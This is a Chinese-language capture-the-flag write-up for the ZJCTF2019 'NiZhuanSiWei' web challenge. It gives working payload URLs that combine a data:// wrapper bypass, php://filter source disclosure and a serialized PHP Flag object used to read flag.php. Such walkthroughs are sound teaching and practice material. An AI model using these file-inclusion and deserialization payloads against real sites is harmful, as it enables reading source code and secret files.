【ZJCTF2019】NiZhuanSiWei

本文最后更新于:2024年4月6日 下午

image-20211103225927951

首先分析一下代码。

首先是get传出三个参数,然后有个isset($text)&&(file_get_contents($text,"r")==="xxx")

这里就要求传入text且text是个文件且内容为xxxx。先具体了解一下这个函数:

file_get_contents() 函数把整个文件读入一个字符串中。

和 file()一样,不同的是 file_get_contents() 把文件读入一个字符串。

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。

这个时候就要用到data协议

image-20211103231157274

构造payload读取useless.php

http://a610b8e0-ed8b-48bf-a77f-82401b32dae6.node4.buuoj.cn:81/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

image-20211104120235305

base解码得到源代码

可以看出这是一个反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

我们这里直接引入flag.php,new一个对象再序列化即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  

class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$flag=new Flag();
echo serialize($flag);
?>

image-20211105173254761

运行结果是

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终构造payload:

1
?text=data://text/plain/;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

解释一下吧,第一段主要是满足第二个条件,第二段是引入useless.php,第三段是反序列化得到flag

flag{422761ed-fc13-4115-867b-c6d2d99f69f3}

这里flag在f12里面,要记得有事没事看一眼哦~


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!